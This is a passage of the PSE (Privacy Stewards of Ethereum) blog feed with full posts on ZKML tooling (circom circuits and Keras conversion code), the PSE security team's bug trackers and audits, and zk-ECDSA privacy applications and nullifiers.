validity of Layer 1 must be a community effort. Not enough skills or resources currently exist for one team to do it alone – and reasonably well. There are many approaches to explore and many gaps in a single team's capabilities. Contributing to zkEVMs means entering a world where the tools are limited, the language is nascent, and the skills required are rare, but overcoming the challenge may create the widest practical application of zero-knowledge cryptography to date. If proofs of validity are used to verify every Ethereum block, then every Ethereum user will benefit from zero-knowledge proofs – a benefit that seems worth the effort. --- For those who have found the design of the zkEVM Community Edition interesting or want to contribute to this project and would like to dive deeper, the following video provides a detailed explanation for how the code is structured: The zkEVM Community Edition is possible thanks to the contribution of many teams including the [PSE](https://appliedzkp.org/), [Scroll Tech](https://scroll.io/), and [Taiko](https://taiko.xyz/) along with many individual contributors. Teams such as [Zcash](https://electriccoin.co/) have also researched and developed proving systems and libraries that have greatly benefited zkEVM efforts. The zkEVM Community Edition is an open-source project and can be accessed in the [main repo](https://github.com/privacy-scaling-explorations/zkevm-specs). If you're interested in helping, you can learn more by visiting the [contribution guidelines](https://github.com/privacy-scaling-explorations/zkevm-circuits/blob/main/CONTRIBUTING.md). The Community Edition is being built in public and its current status can be viewed on the [project board](https://github.com/orgs/privacy-scaling-explorations/projects/3/views/1). For any general questions, feel free to ask in the [PSE Discord.](https://discord.com/invite/sF5CT5rzrR) --- _This series intends to provide an overview of the zkEVM Community Edition in a way that is broadly accessible. Part 3 reviews the general logic and structure of the zkEVM Community Edition._ _[Part 1: Introduction](https://mirror.xyz/privacy-scaling-explorations.eth/I5BzurX-T6slFaPbA4i3hVrO7U2VkBR45eO-N3CSnSg)_ _[Part 2: Components](https://mirror.xyz/privacy-scaling-explorations.eth/AW854RXMqS3SU8WCA7Yz-LVnTXCOjpwhmwUq30UNi1Q)_ ]]> zkevm zero-knowledge proofs ethereum scaling circuits cryptography computational integrity halo2 lookup tables proof systems <![CDATA[ZKML: Bridging AI/ML and Web3 with Zero-Knowledge Proofs]]> https://pse.dev/blog/zkml-bridging-aiml-and-web3-with-zero-knowledge-proofs https://pse.dev/blog/zkml-bridging-aiml-and-web3-with-zero-knowledge-proofs Tue, 02 May 2023 00:00:00 GMT <![CDATA[This post was authored by [drCathieSo.eth](https://twitter.com/drCathieSo_eth) and was originally published [here](https://hackmd.io/@cathie/zkml).]]> <![CDATA[ ## Introduction I am thrilled to share that my project on ZKML has successfully been completed with the invaluable support from the Ecosystem Support Program of [Privacy Stewards of Ethereum](https://appliedzkp.org/) (Ethereum Foundation). This platform bridges the AI/ML and Web3 worlds, providing a privacy-preserving solution with immense potential to revolutionize both industries. This is a POC of an end-to-end platform for machine learning developers to seamlessly convert their TensorFlow Keras models into ZK-compatible versions. This all-in-one solution consists of three core components: 1. [circomlib-ml](https://github.com/socathie/circomlib-ml): A comprehensive Circom library containing circuits that compute common layers in TensorFlow Keras. 2. [keras2circom](https://github.com/socathie/keras2circom): A user-friendly translator that converts ML models in Python into Circom circuits. 3. [ZKaggle](https://github.com/socathie/ZKaggleV2): A decentralized bounty platform for hosting, verifying, and paying out bounties, similar to Kaggle, but with the added benefit of privacy preservation. ZKML addresses the limitations of traditional machine learning bounty platforms, which often require full model disclosure for performance verification. The solution leverages ZKPs to enable developers to verify private models with public data, ensuring privacy and security. This is a powerful POC that can attract experienced Web2 developers to the Web3 ecosystem. ## Background and Rationale ### The challenges of traditional ML bounties Traditional machine learning bounty platforms, such as Kaggle, often require developers to submit their full model to the host for performance verification. This can lead to several issues: 1. **Loss of intellectual property**: Disclosing the complete model architecture and weights may expose valuable trade secrets or innovative techniques that developers would prefer to keep private. 2. **Lack of transparency**: The evaluation process can be opaque, and participants may not be able to verify the rankings of their models against others. 3. **Data privacy concerns**: Sharing models that have been trained on sensitive data may inadvertently reveal information about the underlying data, violating privacy norms and regulations. These challenges have created a demand for solutions that can protect the privacy of machine learning models and the data they are trained on. ### The potential of ZKPs in machine learning ZKPs present a promising approach to address the challenges faced by traditional ML bounties. By leveraging the power of ZKPs, ZKML offers a privacy-preserving solution with the following benefits: 1. **Model privacy**: Developers can participate in bounties without disclosing their entire model architecture and weights, protecting their intellectual property. 2. **Transparent verification**: ZKPs enable the verification of model performance without revealing the model's internals, fostering a transparent and trustless evaluation process. 3. **Data privacy**: ZKPs can be used to verify private data with public models or private models with public data, ensuring that sensitive information remains undisclosed. Integrating ZKPs into the machine learning process provides a secure and privacy-preserving platform that addresses the limitations of traditional ML bounties. This not only promotes the adoption of machine learning in privacy-sensitive industries but also attracts experienced Web2 developers to explore the possibilities within the Web3 ecosystem. ## Current Scope: A Comprehensive POC **[circomlib-ml](https://github.com/socathie/circomlib-ml): A Circom Library for Machine Learning** circomlib-ml is a library of circuit templates for machine learning tasks using the circom language. It contains various templates for neural network layers, such as convolutional layers, dense layers, and activation functions. This library enables the creation of custom circuits for machine learning tasks. **[keras2circom](https://github.com/socathie/keras2circom): Seamless Model Conversion** keras2circom is a Python tool that transpiles TensorFlow Keras models into circom circuits. This enables seamless conversion of machine learning models from the popular deep learning framework into privacy-preserving ZKP circuits. ### ZKaggle: A Decentralized Bounty Platform for Machine Learning ZKaggle's first version emerged as [a hackathon submission at ETHGlobal FVM Space Warp Hack](https://ethglobal.com/showcase/zkaggle-70g3b). The platform enabled decentralized computing by allowing users to share their processing power and monetize their proprietary machine learning models. With a browser-based frontend, bounty providers could upload their data to Filecoin and create computing tasks with associated rewards. Bounty hunters could browse available bounties, download data, and perform computations locally. Upon completion, they would submit a proof with hashed results on-chain for the bounty provider to review. Once approved, bounty hunters could claim their rewards by providing the pre-image of the hashed results. ZKPs were used to maintain a succinct proof of computation and enable bounty hunters to monetize private models with credibility. [ZKaggleV2](https://github.com/socathie/ZKaggleV2) presents an improved version with enhanced features and functionality. In this version, multiple files are aggregated into a single circuit, allowing for more efficient processing. The platform also verifies the accuracy of the computations and incorporates a secure method for transferring model weights from the bounty hunter to the bounty provider using elliptic curve Diffie-Hellman (ECDH) encryption. This added layer of security ensures that only authorized parties can access and utilize the model weights, further solidifying the platform's commitment to privacy and data protection. ## Code Highlights **[circomlib-ml](https://github.com/socathie/circomlib-ml): ZK-friendly Polynomial Activation** **[circomlib-ml/circuits/Poly.circom](https://github.com/socathie/circomlib-ml/blob/master/circuits/Poly.circom)** ``` pragma circom 2.0.0; // Poly activation layer: https://arxiv.org/abs/2011.05530 template Poly (n) { signal input in; signal output out; out <== in * in + n*in; } ``` **[keras2circom](https://github.com/socathie/keras2circom): Model Weights "Quantization"** **[keras2circom/keras2circom/circom.py](https://github.com/socathie/keras2circom/blob/main/keras2circom/circom.py)** ``` ... def to_json(self, weight_scale: float, current_scale: float) -> typing.Dict[str, typing.Any]: '''convert the component params to json format''' self.weight_scale = weight_scale self.bias_scale = self.calc_bias_scale(weight_scale, current_scale) # print(self.name, current_scale, self.weight_scale, self.bias_scale) json_dict = {} for signal in self.inputs: if signal.value is not None: if signal.name == 'bias' or signal.name == 'b': # print(signal.value) json_dict.update({f'{self.name}_{signal.name}': list(map('{:.0f}'.format, (signal.value*self.bias_scale).round().flatten().tolist()))}) else: json_dict.update({f'{self.name}_{signal.name}': list(map('{:.0f}'.format, (signal.value*self.weight_scale).round().flatten().tolist()))}) return json_dict def calc_bias_scale(self, weight_scale: float, current_scale: float) -> float: '''calculate the scale factor of the bias of the component''' if self.template.op_name in ['ReLU', 'Flatten2D', 'ArgMax', 'MaxPooling2D', 'GlobalMaxPooling2D']: return current_scale if self.template.op_name == 'Poly': return current_scale * current_scale return weight_scale * current_scale ... ``` Circom only accepts integers as signals, but Tensorflow weights and biases are floating-point numbers. Instead of quantizing the model, weights are scaled up by `10**m` times. The larger `m` is, the higher the precision. Subsequently, biases (if any) must be scaled up by `10**2m` times or even more to maintain the correct output of the network. **keras2circom** automates this process by calculating the maximum `m` possible and scaling each layer accordingly. **[ZKaggle](https://github.com/socathie/ZKaggleV2): IPFS CID Matching and Universal Encryption Circuits** **[ZKaggleV2/hardhat/circuits/utils/cid.circom](https://github.com/socathie/ZKaggleV2/blob/main/hardhat/circuits/utils/cid.circom)** ``` pragma circom 2.0.0; include "../sha256/sha256.circom"; include "../../node_modules/circomlib-ml/circuits/circomlib/bitify.circom"; // convert a 797x8 bit array (pgm) to the corresponding CID (in two parts) template getCid() { signal input in[797*8]; signal output out[2]; component sha = Sha256(797*8); for (var i=0; i<797*8; i++) { sha.in[i] <== in[i]; } component b2n[2]; for (var i=1; i>=0; i--) { b2n[i] = Bits2Num(128); for (var j=127; j>=0; j--) { b2n[i].in[127-j] <== sha.out[i*128+j]; } out[i] <== b2n[i].out; } } ``` Machine learning datasets are frequently too large to be uploaded directly onto the blockchain, so they are instead uploaded to IPFS. To ensure data integrity throughout the model computation process, a proof-of-concept circuit has been designed to demonstrate the capability of computing an IPFS Content Identifier (CID) that is uploaded as a raw buffer in a circom circuit. This approach verifies that the computation is performed on the designated file, thereby maintaining the integrity of the process. **[ZKaggleV2/hardhat/circuits/utils/encrypt.circom](https://github.com/socathie/ZKaggleV2/blob/main/hardhat/circuits/utils/encrypt.circom)** ``` pragma circom 2.0.0; include "../../node_modules/circomlib-ml/circuits/crypto/encrypt.circom"; include "../../node_modules/circomlib-ml/circuits/crypto/ecdh.circom"; // encrypt 1000 inputs template encrypt1000() { // public inputs signal input public_key[2]; // private inputs signal input in[1000]; signal input private_key; // outputs signal output shared_key; signal output out[1001]; component ecdh = Ecdh(); ecdh.private_key <== private_key; ecdh.public_key[0] <== public_key[0]; ecdh.public_key[1] <== public_key[1]; component enc = EncryptBits(1000); enc.shared_key <== ecdh.shared_key; for (var i = 0; i < 1000; i++) { enc.plaintext[i] <== in[i]; } for (var i = 0; i < 1001; i++) { out[i] <== enc.out[i]; } shared_key <== ecdh.shared_key; } ... ``` To maintain the integrity of the proof during the bounty claim process, **ZKaggleV2** incorporates a universal model weight encryption circuit. This circuit is precompiled and deployed for use across all bounties and models. The existing implementation supports models with up to 1000 weights, and any model with fewer weights can be zero-padded at the end to conform to the required size. This approach ensures a consistent and secure method of handling model weights Please visit the respective repositories linked above for full implementation and usage details. ## Limitations and Potential Improvements **Proving Scheme: Groth16** The project currently employs Groth16 as the proving scheme to minimize proof size. However, the platform could be extended to support other proving schemes supported by snarkjs that do not require a circuit-specific trusted setup, such as PLONK or FFLONK. **Contract Size and Local Testing** At present, the contracts and frontend can only be tested locally due to the contract size exceeding EIP-170 limit. This constraint poses a challenge for deploying the platform on the Ethereum mainnet (or its testnets) and restricts its usability for wider audiences. To address this limitation, developers could investigate alternative L2 solutions or EVM-compatible chains that offer higher capacity for contract size, enabling this POC to be deployed and used more extensively. ## TLDR and Call to Action In summary, this project is an innovative proof-of-concept platform trying to bridge the AI/ML and Web3 worlds using ZKPs, by offering a comprehensive suite of tools, including circomlib-ml, keras2circom, and ZKaggleV2. The open-source community is invited to contribute to the ongoing development of ZKML. In particular, contributions in the form of additional templates for circomlib-ml, extending support for more layers in keras2circom, and reporting any bugs or issues encountered are highly encouraged. Through collaboration and contributions to this exciting project, the boundaries of secure and privacy-preserving machine learning in the Web3 ecosystem can be pushed even further. ]]> zero-knowledge proofs machine learning privacy circom computational integrity ethereum web3 cryptography research toolkits <![CDATA[PSE Security: What’s New]]> https://pse.dev/blog/pse-security-what-is-new https://pse.dev/blog/pse-security-what-is-new Tue, 25 Apr 2023 00:00:00 GMT <![CDATA[Explore the latest work from the PSE Security team on improving L2 and ZK security across Ethereum. Learn about tools like the ZK Bug Tracker, Bridge Bug Tracker, and advances in static analysis and formal verification.]]> <![CDATA[ # PSE Security: What’s New This post was authored by **Kyle Charbonnet**, team lead of PSE Security. ## Table of Contents - [What is the PSE Security Team?](#what-is-the-pse-security-team) - [L2 Security](#l2-security) - [ZK Security](#zk-security) - [Recent Projects](#recent-projects) - [How can I contribute?](#how-can-i-contribute) - [Team Members](#team-members) --- ## What is the PSE Security Team? The Privacy Stewards of Ethereum (PSE) team at the Ethereum Foundation has a dedicated security division focused on finding bugs and strengthening security in Ethereum’s L2 and zero-knowledge ecosystems. Bugs in these areas can have critical consequences, so proactive security is essential, especially in such fast-evolving domains. --- ## L2 Security Layer 2s (L2s) are Ethereum’s main scaling strategy. While many are EVM-compatible, their security profile is distinct. The biggest concerns include: - Secure bridging between L1 and L2 - Fraud proof mechanisms in optimistic rollups - Sequencer control and data availability ZK rollups share many of the same concerns but rely on validity proofs rather than fraud proofs. A great resource for L2 risk analysis is [L2Beat](https://l2beat.com), which categorizes L2 security characteristics. --- ## ZK Security ZK technology, such as ZK rollups and zkEVMs, is pivotal for Ethereum’s scalability. But it introduces new security challenges: - New codebases often have novel bugs - ZK circuits are mathematically different from typical smart contracts - Requires a new approach to verification and testing Organizations like **Veridise**, **Trail of Bits**, and **0xPARC** are contributing to tools and research in this area. --- ## Recent Projects ### 1. ZK Bug Tracker with 0xPARC This GitHub repo catalogs bugs and vulnerabilities in ZK apps. - **Bugs in the Wild**: Real incidents across the ecosystem - **Common Vulnerabilities**: Categorized, repeatable bug patterns - Helps auditors target known failure points efficiently ![bug tracker](/articles/pse-security-what-is-new/1-bug-tracker.webp) ### 2. BigInt Audit with Veridise Veridise and PSE collaborated to audit the Circom BigInt library. - Found 8 critical bugs in CircomLib via formal verification - ZK circuits lend themselves well to formal methods due to their mathematical structure - Highlights tradeoffs between traditional code audits and math-based specs ![audit report](/articles/pse-security-what-is-new/audit-report.webp) ### 3. ZK Circuit Static Analysis with Veridise A collaboration with researchers at UCSB and UT Austin produced the paper _“Practical Security Analysis of Zero-Knowledge Proof Circuits.”_ - Created 9 static vulnerability detectors - Works on Circom circuits but is language-agnostic - Complements formal verification—fast, automatic, and scalable ![audit report](/articles/pse-security-what-is-new/security-analysis.webp) ### 4. Bridge Bug Tracker Created by Yufei Li, this repo documents bridge hacks and security learnings. - Over $2B lost since 2021 in bridge exploits - Tracks vulnerabilities and security best practices - Critical as L2s rely heavily on bridging for asset transfer ![audit report](/articles/pse-security-what-is-new/hack-tracker.webp) --- ## How Can I Contribute? Both the **ZK Bug Tracker** and **Bridge Bug Tracker** are open to community contributions. If you know of a bug or exploit not listed, feel free to open a pull request or issue. --- ## Team Members - **Kyle Charbonnet** – Team Lead - **Yufei Li** – L2 Security Engineer - **Mridul Garg** – ZK Security Engineer --- ### Stay Updated Subscribe to [Privacy Stewards of Ethereum](https://pse.dev) to get the latest on research, tooling, and security efforts. Mint this entry as an NFT to add it to your collection. Verification: Author Address: `0x7EC121d4AB04255…Ef81F2f4313F185` Content Digest: `BaqGMfBhEZR1cvT…IthLiUK-Q75rQMM` ]]> zk security l2 formal-verification circom audits <![CDATA[The zk-ECDSA Landscape]]> https://pse.dev/blog/the-zk-ecdsa-landscape https://pse.dev/blog/the-zk-ecdsa-landscape Tue, 18 Apr 2023 00:00:00 GMT <![CDATA[This post was authored by grantee [Blake M Scurr](https://github.com/BlakeMScurr). His mandate was to explore zk-ECDSA, build applications with zk-ECDSA, and contribute to ZKPs to make this vision come true.]]> <![CDATA[ ## Introduction Ethereum is a principled project, popular for being a credibly neutral payment, financial, and computing system. Unfortunately, to achieve neutrality, it has sacrificed privacy because every transaction must be public to be verified. Recent advances in [ZKP (Zero-Knowledge Proof)](https://ethereum.org/en/zero-knowledge-proofs/) systems have made it practical to achieve privacy while maintaining verifiability. There are new privacy focused ZK blockchains such as [Mina](https://minaprotocol.com/), [Aleo](https://www.aleo.org/) and [Zcash](https://z.cash/), but L1 development is hard and slow, especially on a large, established protocol like Ethereum. Instead of adding privacy to the underlying system, we as smart contract developers can rewrite the ecosystem to respect privacy, while keeping the L1 simple and transparent. This is the promise of zk-ECDSA. Normally, dApps work by verifying signatures on transactions then executing smart contract logic. Ethereum uses a particular signature scheme called [ECDSA](https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm) because the signatures are very short and efficient for any given security level as opposed to, say, [RSA signatures](). This means there are millions of ECDSA keys for Ethereum addresses ready to be utilised. To support privacy on-chain with these existing keys, we need to add some extra logic to our smart contracts. Instead of directly verifying signatures, we can verify ECDSA signatures and execute arbitrary logic inside ZKPs, then verify those proofs on-chain, then execute our smart contract logic. Thus, without any change to Ethereum itself, we can support privacy where users want it. ## Use Cases ### Mixers Mixers were one of the first widespread use cases for ZKPs on Ethereum, with Tornado Cash handling [over $7B](https://home.treasury.gov/news/press-releases/jy0916). Tornado Cash prevents double spending by using an interactive nullifier, which is a special piece of data the user must hold onto to access their funds. Keeping this nullifier secure can be just as important as keeping a private key secure, but in practice it needs to, at some point, be in plaintext outside the wallet or secure enclave in order to generate the ZKP. This is a significant UX problem, especially for a security conscious user who has already gone to great lengths to protect their private key. zk-ECDSA can solve this by generating a nullifier deterministically from the private key, while keeping the user private. This is a subtle problem, and existing ECDSA signatures aren't quite suitable. We explain the PLUME nullifier, the top contender to solve this problem below. #### Blacklists Financial privacy is good, but it can have downsides. The US Treasury [accused Tornado Cash](https://home.treasury.gov/news/press-releases/jy0916) of laundering over $455M of funds stolen by a US sanctioned North Korean hacker group. Tornado Cash itself was subsequently sanctioned. There may be a middle ground, where privacy is preserved for normal users, but authorities can prevent hackers receiving their funds. The following is not an ideal scheme, as it gives authorities power to freeze funds of law-abiding citizens, but it is a start. In order to get your funds out of a compliant mixer, you must prove in a ZKP that you own an address that deposited funds, has not already retrieved their funds, and _does not belong to a blacklist_. This means having to do a proof of non-membership inside the ZKP. ### Private Safes Many projects use safes like [Safe](https://safe.global/) (formerly Gnosis Safe) to control funds split between multiple parties. Generally this means using your personal key to sign votes for how the money is spent, those votes are then sent to the chain and executed when enough parties agree. However, this means publicly linking your personal finances to some project, which is generally not desirable. Instead of sending a publicly readable signature, the user can send a ZKP proving their vote without revealing their identity on-chain. [zkShield](https://github.com/bankisan/zkShield) is an example of a private safe in development. It may be surprising that we don't need nullifiers for safes, since they are usually required for private financial applications. If you wanted to keep your votes private from other owners of the same safe you would need nullifiers. However, people sharing a safe are generally cooperative, so the sensible approach by zkShield is to create non-private signatures off-chain with efficient-ecdsa, and verify them in a ZKP. Nullifiers are also often used in financial applications to prevent double-spending, but that is irrelevant here because safes don't have an inbuilt payment system. ### Private Voting Voting on, for example, a DAO proposal (or on political candidates or legislation!) should generally be done privately to prevent retribution, bribery, and collusion. Instead of collating signatures, we can collate ZKPs, provided they output a deterministic nullifier to prevent double votes. ### Airdrops Many projects such as [Arbitrum](https://arbitrum.io/) and [ENS](https://ens.domains/) have introduced a governance token as they mature. This is generally done to reward early users, and give the community power over the protocol. However, if a token holder wants to vote on a proposal anonymously, they will have to sell their token, use a mixer, buy the token back at another address, and then vote with that unlinked address. Instead, we could offer airdrops anonymously by default. To do this, you simply make a list of all the addresses eligible for the drop, hash them into a Merkle tree, and allow people to claim their tokens by proving membership in that list. Airdrops usually offer granular rewards, giving more tokens to earlier users, etc. Unfortunately, high granularity would reduce the anonymity set. The easiest implementation would be if every address received the same amount. You could also mitigate the loss of privacy while allowing different rewards by letting people claim the airdrop for multiple addresses at a time, and offering multiple rewards per address, though this would introduce additional complexity in the circuit. ### Private NFTs Privacy can be used in creative ways in NFTs too. For example, you could allow any CryptoPunk holder to mint a "DarkPunk," where their original address is not linked to their original CryptoPunk. This would be done by taking a snapshot of addresses holding CryptoPunks, and gateminting by requiring a ZKP that shows you own some address in that list. Note, any set of addresses could be used for gating - i.e., people who lost money in The DAO hack, or people who have burned 100+ ETH. Similarly, a new NFT project could allow private minting. First you'd buy a ticket publicly on-chain, then privately prove you are a ticket holder to mint the NFT. This could be implemented with an interactive nullifier, but zk-ECDSA could be used to save on-chain costs at the expense of prover time. ### Message Boards zk-ECDSA will also enable off-chain use cases. Anonymity can be a useful tool for voicing controversial ideas, or givng a voice to less powerful people. Suppose a DAO is trying to coordinate on how to spend its treasury, political factions inevitably form and it can be hard to oppose consensus, or it might be hard to get your voice heard. Instead of relying on a traditional message board where every message is tied to a username, you can conduct discussions anonymously, or pseudonymously using ZKPs rather than signatures directly. Traditional anonymous boards are subject to sybil attacks, but in zk message boards you have to prove membership in a group and/or prove you are using a unique deterministic pseudonym derived from your public key. [heyanoun.xyz](https://www.heyanoun.xyz/) from PersonaeLabs is a project exploring this area. ### Gated Content zk-ECDSA can be used as an authentication for access to web content. For example, suppose you want to create some private content for [Nouns NFT](https://nouns.wtf/) holders. The standard solution would be "Sign in with Ethereum", where you would verify your address, and the server could verify that you own a Noun on-chain. However, this gives the website your personal financial details for that address, which may be enough to track and target you. This is dangerous, especially since you are known to hold a valuable NFT. Instead we can create "Sign in as Noun" functionality by simply proving you own an address in the set of Nouns holders. Using zk-ECDSA is still not easy. You have to carefully choose the right library and proof system for your use case. There are two critical questions: do you need nullifiers, and do you need on-chain verification? It's important to choose the right tool for your use case, because prover time can be radically improved if you don't need nullifiers or on-chain verification. Most of the work below was done at [PersonaeLabs](http://personaelabs.org/) and [0xparc](https://0xparc.org/). As part of this grant, I wrote the initial verifier circuit for the nullifier library. ### Merkle Tree Basics The circuits for most applications require some kind of signature/nullifier verification, and set membership. [Merkle trees](https://en.wikipedia.org/wiki/Merkle_tree) are a simple, efficient method of set membership, where security relies on a hash function. A circom implementation of Merkle trees originating from Tornado Cash has been well battle tested. During my grant I used a Merkle tree with the Poseidon hash, which is a hash function that's efficient in ZK circuits. [This implementation](https://github.com/privacy-scaling-explorations/e2e-zk-ecdsa/blob/a5f7d6908faac1aab47e0c705bc91d4bccea1a73/circuits/circom/membership.circom#L13), which verifies a public key, signature, and Merkle proof may be a useful starting point for your application. Note, that you should remove the public key check if unnecessary, and swap the signature verification out for the most efficient version possible for your constraints. ### Non-Membership Merkle trees don't naturally enable us to prove that an address is _not_ in a given list. There are two possible modifications we can make to make this possible, and the first is [probably the best option](https://alinush.github.io/2023/02/05/Why-you-should-probably-never-sort-your-Merkle-trees-leaves.html). The recommended approach is using a sparse Merkle tree. A sparse Merkle tree of addresses contains every possible address arranged in order. Since Ethereum addresses are 160 bits, the Merkle tree will be of depth 160 (note the amazing power of logarithmic complexity!), meaning Merkle proofs can still be efficiently verified in a ZKP circuit. The leaves of the tree will be 1 if the address is included in the set, and 0 if it is not. So by providing a normal Merkle proof that the leaf corresponding to an address is 0, we prove that the address is not in the list. The alternative is sorting a list of addresses, and using 2 adjacent Merkle proofs to show that the address's point in the list is unoccupied. This is the approach [I used](https://github.com/privacy-scaling-explorations/e2e-zk-ecdsa/pull/76) in this grant, but I wouldn't recommend it due to the complexity of the circuit, and additional proof required to show that the list is sorted, which introduces [systemic complexity](https://vitalik.ca/general/2022/02/28/complexity.html). ### Off-chain, no nullifiers The fastest way to privately verify a signature is [spartan-ecdsa](https://personaelabs.org/posts/spartan-ecdsa/), with a 4 second proving time in a browser. ECDSA uses elliptic curves, and the specific curve used for Ethereum signatures is called secp256k1. Spartan-ecdsa is primarily fast because it uses right-field arithmetic by using a related elliptic curve called secq256k1. This secp256k1's base field is the same as secq256k1's scalar field, the arithmetic is simple, but this means we have to use a proof system defined for secq256k1 such as [Spartan](https://github.com/microsoft/Spartan) (note, Groth16, PlonK etc aren't available as they rely on [pairings](https://medium.com/@VitalikButerin/exploring-elliptic-curve-pairings-c73c1864e627), which aren't available in secq256k1). Unfortunately, Spartan does not yet have an efficient verifier that runs on-chain (though [this is being worked on](https://github.com/personaelabs/spartan-ecdsa/tree/hoplite)). Ultimately, this is just an way to verify ECDSA schemes in ZKPs, so, like all plain ECDSA schemes, it can't be used as a nullifier. ### On-chain, no nullifiers A predecessor to spartan-ecdsa is [efficient-ecdsa](https://personaelabs.org/posts/efficient-ecdsa-1/). The difference is it uses expensive wrong-field arithmetic implemented with multi-register big-integers. The current implementation is circom, which is a natural frontend to any R1CS proof system such as Groth16, as well as having built in support for PlonK and fflonk. This means it can be verified on-chain at minimal cost. However, the prover is significantly slower than for spartan-ecdsa since the circuit requires 163,239 constraints compared to spartan-ecdsa's astonishing 8,076. Efficient-ecdsa is a major ~9x improvement over 0xparc's initial [circom-ecdsa](https://github.com/0xPARC/circom-ecdsa) implementation, which is achieved by computing several values outside the circuit. ### Nullifiers Nullifiers are deterministic values that don't reveal one's private identity, but do prove set membership. These are necessary for financial applications to prevent double spending, in addition to private voting and pseudonymous messaging. Intuitively, an ECDSA signature should work as a nullifier, but it is not, in fact, deterministic on the message/private key. ECDSA signatures include a random scalar (known [in the wikipedia article](https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm#Signature_generation_algorithm) as _k_) which is used to hide the private key. Even if this scalar is [generated pseudorandomly](https://www.rfc-editor.org/rfc/rfc6979), there is no way for the verifier to distinguish between a deterministic and random version of the same signature. Therefore, new schemes are required. [This blog](https://blog.aayushg.com/posts/nullifier) contains a more detailed exploration of the problem, including a solution called PLUME. The [PLUME nullifier](https://github.com/zk-nullifier-sig/zk-nullifier-sig) is the only existing candidate solution for this problem. There is some work required to get these into wallets, and the circuits (for which [I wrote](https://github.com/zk-nullifier-sig/zk-nullifier-sig/pull/7) the initial implementation as part of this grant) are not yet audited or production ready. PLUME's circom implementation currently has ~6.5 million constraints, and even with optimisation, I suspect it will always be more expensive than efficient-ecdsa or spartan-ecdsa, as the verification equations are inherently longer. ## My Work My grant ended up being a fairly meandering path toward the state of the art in zk-ECDSA. My main contribution, as I see it, is the [circuit for the PLUME nullifier](https://github.com/zk-nullifier-sig/zk-nullifier-sig/pull/7), as well as transmitting understanding zk-ECDSA in house, and now hopefully to the outside world. The initial exploratory work included a Merkle tree based membership and non-membership proofs, and public key validation in circom using [circom-ecdsa](https://github.com/0xPARC/circom-ecdsa) (which is the founding project in this space). About halfway through the grant I realised how critical nullifiers are for most applications, and pivoted to working on the PLUME nullifiers. ### Membership/Non-membership proofs The first task was to make a basic circuit that proves membership in an address set. I used a [modified version](https://github.com/ChihChengLiang/poseidon-tornado) of tornado cash for the Merkle proof, and circom-ecdsa for the signature verification (because I wasn't yet aware of efficient-ecdsa or spartan-ecdsa). We were also interested in non-membership proofs for use cases like the [gated mixer](https://mirror.xyz/privacy-scaling-explorations.eth/djxf2g9VzUcss1e-gWIL2DSRD4stWggtTOcgsv1RlxY#blacklists) above. [I did this](https://github.com/privacy-scaling-explorations/e2e-zk-ecdsa/pull/76) with a simple sorted Merkle tree, and two adjacent Merkle proofs showing that the proof is not between them. I have since been [convinced](https://alinush.github.io/2023/02/05/Why-you-should-probably-never-sort-your-Merkle-trees-leaves.html) that sparse Merkle trees are a more robust solution, and we intend to implement this. ### Public Key Validation Part of the signature verification algorithm involves validating that the public key is in fact a valid point on an elliptic curve ([Johnson et al 2001](https://www.cs.miami.edu/home/burt/learning/Csc609.142/ecdsa-cert.pdf) section 6.2). In previous applications this was done outside the circuit, which was possible because the full public key set was known ahead of time. However, we were interested in use cases where developers would be able to generate arbitrary address lists, such as [gated web content](https://mirror.xyz/privacy-scaling-explorations.eth/djxf2g9VzUcss1e-gWIL2DSRD4stWggtTOcgsv1RlxY#gated-content). The problem is, it's non-trivial to go from an address list to a public key list, as not all addresses have some associated signature from which we can deduce the public key. This means that the developers would not necessarily be able to validate the public keys for every address in the list. The solution was to [implement public key verification inside the circuit](https://github.com/privacy-scaling-explorations/e2e-zk-ecdsa/blob/a5f7d6908faac1aab47e0c705bc91d4bccea1a73/circuits/circom/membership.circom#L138-L177) using primitives from circom-ecdsa. This means that any ZKP purporting to prove membership also must be done with a valid public key. It is not exactly clear how important this check is, and you should think about it on a case-by-case basis for your use case. It is probably not necessary for an anonymous message board, for example, since the worst attack one could possibly achieve with an invalid public key is falsifying an anonymous signature. However, in order to do that, one has to know the SHA256 preimage of some address, in which case they, in practice, hold secret information (the public key) which is somewhat equivalent to a private key. More work needs to be done to characterise the cases where we need to verify the public key. ### Plume Nullifiers Having improved our understanding, we brainstormed use cases, and found (as can be seen [above](https://mirror.xyz/privacy-scaling-explorations.eth/djxf2g9VzUcss1e-gWIL2DSRD4stWggtTOcgsv1RlxY#use-cases)) that the lack of nullifiers was blocking many interesting applications. The PLUME nullifier scheme had not been implemented yet in a zero-knowledge circuit, and since I now had some experience with circom-ecdsa, I was well situated for the job. I wrote it in circom, with circom-ecdsa, ultimately ending up with 6.5 million constraints (about 2M in hashing, and 4.5M in elliptic curve operations). This was by far the most challenging part of the grant (future grantees be warned - don't be too optimistic about what you can fit in one milestone). One interesting bug demonstrates that difficulties of a low level language like circom, was when I simply wasn't getting the right final hash result out. It turned out (after many log statements) that part of the algorithm implicitly compresses a particular elliptic curve point before hashing it. This compression is so trivial in JS you barely notice it, but I ended up having to write it from scratch in [these two rather nice subcircuits](https://github.com/zk-nullifier-sig/zk-nullifier-sig/pull/7/files#diff-f59503380952aa2926ad22e3f7fcfb442043dd90242d81f70ffff91094f46d8fR243-R294). Another subtlety was that an elliptic curve equation calculating _a/b^c_ inexplicably started giving the wrong result on ~50% of inputs for _c_. It turned out that my circom code was right, but the JS that I was comparing against took a wrong modulus, using `CURVE.p` rather than `CURVE.n`, which essentially confuses the base and scalar fields of the elliptic curve. And, since `CURVE.p` is still rather large, and the value whose modulus was being taken was quite small, the result was usually the same, which accounts for the confusing irregularity of the bug! ### Proving Server For on-chain nullifiers especially, the proving time is very high, so we wanted to create a trusted server which would generate the proof for you. However, this server must be trusted with your privacy, so it will be deprecated as proving times improve. ## Conclusion The frontier for private applications on Ethereum is about to burst wide open. The cryptography and optimisations are almost solved. Now we need a new wave of projects with sleek UX focused on solving real problems for Ethereum's users. If you want to make any of the use cases above a reality, check out [our repo](https://github.com/privacy-scaling-explorations/e2e-zk-ecdsa) to get started. ]]> zk-ecdsa privacy zero-knowledge proofs ethereum circom cryptography nullifiers PLUME identity signature verification <![CDATA[Semaphore v3 Announcement]]> https://pse.dev/blog/semaphore-v3-announcement https://pse.dev/blog/semaphore-v3-announcement Thu, 09 Feb 2023 00:00:00 GMT <![CDATA[ Semaphore V3 is live! We are happy to announce the release of 